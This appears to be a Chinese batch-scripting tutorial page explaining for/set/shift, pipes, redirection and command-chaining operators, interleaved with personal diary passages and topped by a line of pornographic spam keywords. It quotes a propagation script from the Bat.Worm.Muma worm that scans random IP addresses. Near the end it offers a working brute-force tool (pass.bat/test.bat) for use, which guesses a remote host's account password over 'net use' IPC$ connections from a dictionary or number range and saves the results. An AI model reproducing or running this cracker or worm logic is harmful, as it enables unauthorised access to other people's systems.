欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

包你學會批處理整理集合第3/3頁

 更新時間:2008年08月29日 19:31:30   投稿:mdxy-dxy  
這是一篇技術教程,真心誠意會用很簡單的文字表達清楚自己的意思,只要你識字就能看懂,就能學到知識。

10、for、set、shift

為什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個命令,我是從研究Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。所以我給出一個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,其實也就是這兩個命令的入門,而并不是說如何領會這兩個命令。因為要領會如此精妙的兩個命令(特別是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛(wèi)你說話的權利??蠢唬?/p>

@echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit 

執(zhí)行后在當前路徑下就生成for.txt、set.txt和shift.txt三個文件,里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂,我就不多說了。我在網(wǎng)上曾經(jīng)找了很長時間這三個命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個命令后,一定要寫一篇用自己的文字總結(jié)出來的for、set和shift教程(關于shift命令,后面介紹批處理的參數(shù)時還將涉及到),一定會的,這是我的心愿之一!需要注意的一點是,這三個命令的幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進一步練習領會這兩個命令,難道不需要更大的耐心?實戰(zhàn)練習的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了??纯蠢?/p>

START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 

這是Bat.Worm.Muma病毒的起始腳本,設置了病毒運行的環(huán)境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應該能體會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對她的復雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經(jīng)應付不了的場面,即使到最后一身傷痕,也會感慨曾經(jīng)的舉動有多么偉大。

沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。

不得不再次重申一遍,各種DOS命令是批處理的BODY(我實在找不出一個更合適的詞來形容他們之間的關系),學好DOS命令是學好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理里的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎上的,這已經(jīng)超出了本文的范疇,在此就不贅述了。

不知不覺中第三章已經(jīng)結(jié)束了。耳麥里傳來的依然是陳曉東的《比我幸?!罚扛?分32秒就自動重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌補/至少我能成全你的追逐/請記得你要比我幸福/才值得我對自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。


可以說,批處理腳本中最重要的幾個命令我都沒有給出如echo或if那樣比較詳細的介紹,原因我已經(jīng)說了,因為我也是個菜,我也不太懂----但我正在學!你呢?今天又去了一趟圖書館,淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東,藏在一個角落里落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎的東西,雖然從思路上講,已經(jīng)有點time out了,很多東西已經(jīng)基本沒有利用的價值(這就是信息時代的更新速度),但還是很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個不熟悉的命令一起搞熟了,再續(xù)寫這篇教程。我始終堅信,沒有最好只有更好。

但是很可惜,等到下午再去的時候,圖書館樓梯口已經(jīng)立了一個牌子,上面寫著out of service----人家這學期的工作結(jié)束了。于是回到宿舍打算繼續(xù)寫第四章,正在這時又得到一個“振奮人心”的消息:期末考試有一科掛了,而且是全班第一----這一門整個班里就掛了我一個。郁悶的情緒剎那間涌上心頭,整個世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關門,學校里的人越來越少,迎面過來的幾個同學也都一身行李,忙碌著準備回家過年,內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領了心里每一個角落。迎著一月的冷風我一個人在天橋上發(fā)呆,還能怎么樣,連期末考試都應付不了的失敗男人。

“課間休息”時間好象長了點,呵呵,上課了!從這一章開始,將詳細介紹批處理中常用的幾個組合命令和管道命令。這些命令雖然不是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的復雜而不完美,所以我認為管道命令和組合命令是批處理的調(diào)味劑,幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些:|、>、>>

11、|

這個命令恐怕大家不是很陌生,經(jīng)常操作DOS的朋友都應該知道,當我們查看一個命令的幫助時,如果幫助信息比較長,一屏幕顯示不完時DOS并不給我們時間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時,就會看到當前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃而過了,如何解決這個問題?看例十三:

help | more

回車后會發(fā)現(xiàn)顯示滿一屏幕后就自動暫停,等候繼續(xù)顯示其他信息。當按寫回車時,變成一個一個的出現(xiàn);按下空格鍵時一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。

為什么會出現(xiàn)上述現(xiàn)象?答案很簡單,這里結(jié)合了管道命令|和DOS命令more來共同達到目的的。這里先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。

11.1、help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結(jié)果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。

11.2、more命令。可能很多朋友以前就沒有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結(jié)果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當后一命令的輸入來用的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個結(jié)果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:

help > a.txt
more a.txt
del a.txt

這里利用另一管道命令>生成了一個a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進行的,不生成文件)。可以看出,正確使用管道命令|可以帶來事半功倍的效果。

結(jié)合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做后一命令的輸入。

學習批處理!包你學會(四)

12、>、>>

這兩個命令的效果從本質(zhì)上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區(qū)別是,>會清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件,而>>只會另起一行追加新的內(nèi)容到原文件中,而不會改動其中的原有內(nèi)容。例十五:

echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat 

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,里面的內(nèi)容如下:

@echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit 

看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來完成上面操作,最后也會生成一個a.bat,但里面的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結(jié)合例一再仔細體會輸出重定向管道命令>和>>的用法。

13、<、>&、<&

這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。

<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。

關于這三個管道命令的舉例,在后面批處理腳本的精妙應用中還將涉及到。
下面介紹組合命令:&、&&、||

組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現(xiàn)在已經(jīng)成了一個文件了,那么這多個命令就要用這些組合命令連接起來放在同一行----因為批處理認行不認命令數(shù)目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時說。在批處理腳本里也一樣,有些時候某些命令是不能同時執(zhí)行的,后面給你說。

剛剛又送走了一個同學,人去樓空的感覺越來越明顯,望著空蕩蕩的床鋪,平日里喧鬧的宿舍就只剩下我一個人了,整個世界只有那個平時令人非常討厭的老鼠這時候才顯得可愛起來----只有它會陪著我在這不敢開燈的漆黑夜里----一個連期末考試都應付不了的失敗男人。失??!我感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信號,簡直讓這篇未完成的教程夭折。但我能怪誰?

忙碌了一學期要過年了卻掛了科,失??;掛了科也倒罷了,竟然一個人拖全班的后退,失敗中的失??;更失敗的,是在這最失落的時候,竟然找不到一個人可以傾訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:為什么明知道那段情是一個旋渦卻還心甘情愿的往里面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再一個人的時候苦苦等待;不再愛了,我不要在你給的囚籠里憐憫的愛;不再愛了,我不要在別人的視線里如此可笑;不再愛,我不再愛。就算塌下來,我也要一個人扛著,頭不能低腰不能彎,不能喘息不能傾訴,因為雖然失敗,但還是男人,是男人就不能向困難低頭!

14、&

這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:

copy a.txt b.txt /y & del a.txt

其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在后面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行。


15、&&

切記,這里介紹的幾個命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個命令也不例外,它可以把它前后兩個命令組合起來當一個命令來用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個命令時會自動判斷是否有某個命令執(zhí)行出錯,一旦發(fā)現(xiàn)出錯后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動化完成一些任務提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果遠程主機存在user.mdb,則copy到本地e:\backup\www,如果不存在當然就不執(zhí)行copy了。這句對搞網(wǎng)管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執(zhí)行效率更高,所以不知道用哪個更好,呵呵。

你是否還記得“有些命令是不能同時執(zhí)行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執(zhí)行兩個dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:

dir c:\ && dir d:\ > a.txt

仔細研究一下這句執(zhí)行后的結(jié)果,看看是否能達到題目的要求!錯了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因為這里&&命令和>命令不能同時出現(xiàn)一個句子里(批處理把一行看成一個句子)?。〗M合命令&&的優(yōu)先級沒有管道命令>的優(yōu)先級高(自己總結(jié)的,不妥的地方請指正)!所以這句在執(zhí)行時將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:

dir c:\ > a.txt && dir d:\ >> a.txt

這樣,依據(jù)優(yōu)先級高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。

當然這里還可以利用&命令(自己想一下道理哦):

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時,當遇到一個執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:

@echo off
dir s*.exe || exit

其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!為什么?因為如果不存在那個.exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

這樣執(zhí)行的結(jié)果,就能達到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當然是讓你能看到echo輸出的內(nèi)容,否則一閃而過的窗口,echo就白寫了。

給出兩個更好研究優(yōu)先級(同時也是更難理解)的腳本,仔細研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級順序,對以后自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:

例二十一:

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護人負責,與本人和本論壇無關。特此警告!

有關管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點不剩的交給你了,希望你好好收藏并消化吸收,當然有錯誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!

這幾個命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當然這一點上我不能說人家什么,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發(fā)專門有針對性的學習,但有關這幾個命令的問題,卻是不容易精通掌握的----他們之間的關系太復雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機 用戶名
密碼破解出來之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件

@echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解結(jié)果: >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的說2 :大棒槌是我的說1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的說2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 將下列代碼存為test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2 :answer0 echo 遠程主機:"%1" >>c:\pass.txt echo 用 戶:"%3" >>c:\pass.txt echo 密 碼:%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2

For

對一組文件中的每個文件運行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令,請使用以下語法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,請使用以下語法:

for %variable in (set) do command [command-parameters]

參數(shù)

%%variable 或 %variable

代表可替換的參數(shù)。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。

相關文章

最新評論